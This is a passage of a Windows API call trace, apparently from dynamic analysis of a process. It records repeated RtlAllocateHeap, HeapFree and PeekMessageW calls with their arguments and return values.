1 [0133.368] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ec8 | out: hHeap=0xe80000) returned 1 [0133.369] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e18 | out: hHeap=0xe80000) returned 1 [0133.369] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e50 | out: hHeap=0xe80000) returned 1 [0133.369] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f10 | out: hHeap=0xe80000) returned 1 [0133.369] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ef8 | out: hHeap=0xe80000) returned 1 [0133.369] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e38 | out: hHeap=0xe80000) returned 1 [0133.369] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc650 | out: hHeap=0xe80000) returned 1 [0133.369] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.369] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.370] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9f30 [0133.370] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e38 [0133.370] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.370] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077030 [0133.370] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.370] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077030 | out: hHeap=0xe80000) returned 1 [0133.370] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e38 | out: hHeap=0xe80000) returned 1 [0133.370] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9f30 | out: hHeap=0xe80000) returned 1 [0133.370] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.370] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.370] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.370] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.370] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b20 [0133.370] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e08 [0133.370] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.370] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e80 [0133.370] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.371] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e80 | out: hHeap=0xe80000) returned 1 [0133.371] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e08 | out: hHeap=0xe80000) returned 1 [0133.371] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b20 | out: hHeap=0xe80000) returned 1 [0133.371] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.371] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0133.371] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.371] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.371] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0133.372] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554d0 [0133.372] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554d0 | out: hHeap=0xe80000) returned 1 [0133.372] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0133.372] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.372] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f80 [0133.372] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.372] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f80 | out: hHeap=0xe80000) returned 1 [0133.372] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.372] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.372] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.372] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556d0 [0133.372] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556d0 | out: hHeap=0xe80000) returned 1 [0133.372] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.372] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.372] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0133.372] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.373] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0133.373] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.373] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.373] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.373] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055450 [0133.373] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055450 | out: hHeap=0xe80000) returned 1 [0133.373] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.373] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.373] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10160c0 [0133.373] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.374] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10160c0 | out: hHeap=0xe80000) returned 1 [0133.374] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0133.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055610 [0133.374] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055610 | out: hHeap=0xe80000) returned 1 [0133.374] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0133.374] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.374] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0133.374] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0133.401] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.401] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf298 [0133.401] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2b8 [0133.401] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055450 [0133.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055450 | out: hHeap=0xe80000) returned 1 [0133.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0133.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf298 | out: hHeap=0xe80000) returned 1 [0133.401] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0133.401] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.401] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0133.401] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.401] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.401] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.401] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556d0 [0133.402] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556d0 | out: hHeap=0xe80000) returned 1 [0133.402] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.402] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.402] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016240 [0133.402] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.402] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016240 | out: hHeap=0xe80000) returned 1 [0133.402] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.402] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.402] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.402] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055510 [0133.402] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055510 | out: hHeap=0xe80000) returned 1 [0133.402] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.402] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.402] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0133.402] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.403] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0133.403] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.403] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0133.403] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.403] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555d0 [0133.403] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555d0 | out: hHeap=0xe80000) returned 1 [0133.404] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.404] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0133.404] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e00 [0133.404] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.404] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e00 | out: hHeap=0xe80000) returned 1 [0133.404] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.404] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.404] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0133.404] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0133.404] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0133.404] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0133.404] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.404] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0133.404] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.405] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0133.405] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0133.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555b0 [0133.405] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555b0 | out: hHeap=0xe80000) returned 1 [0133.405] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.405] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.405] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e00 [0133.405] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e00 | out: hHeap=0xe80000) returned 1 [0133.406] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0133.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055630 [0133.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055630 | out: hHeap=0xe80000) returned 1 [0133.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0133.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016140 [0133.406] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.406] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0133.406] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0133.406] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055610 [0133.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055610 | out: hHeap=0xe80000) returned 1 [0133.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0133.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016080 [0133.407] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016080 | out: hHeap=0xe80000) returned 1 [0133.407] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0133.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055490 [0133.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055490 | out: hHeap=0xe80000) returned 1 [0133.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.407] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.407] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0133.408] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0133.408] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0133.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0133.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.408] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.408] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f80 [0133.408] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f80 | out: hHeap=0xe80000) returned 1 [0133.409] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554d0 [0133.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554d0 | out: hHeap=0xe80000) returned 1 [0133.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.409] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.409] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0133.409] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0133.410] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0133.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0133.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0133.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0133.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0133.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.410] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016140 [0133.410] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.410] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0133.411] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.411] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.411] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.411] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557b0 [0133.411] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557b0 | out: hHeap=0xe80000) returned 1 [0133.411] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.411] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.411] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015dc0 [0133.411] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.411] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015dc0 | out: hHeap=0xe80000) returned 1 [0133.411] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.411] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0133.412] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.412] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554d0 [0133.412] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554d0 | out: hHeap=0xe80000) returned 1 [0133.412] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf278 | out: hHeap=0xe80000) returned 1 [0133.412] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0133.412] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0133.412] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.413] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0133.413] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.413] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.413] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.413] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055630 [0133.413] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055630 | out: hHeap=0xe80000) returned 1 [0133.413] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.413] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, 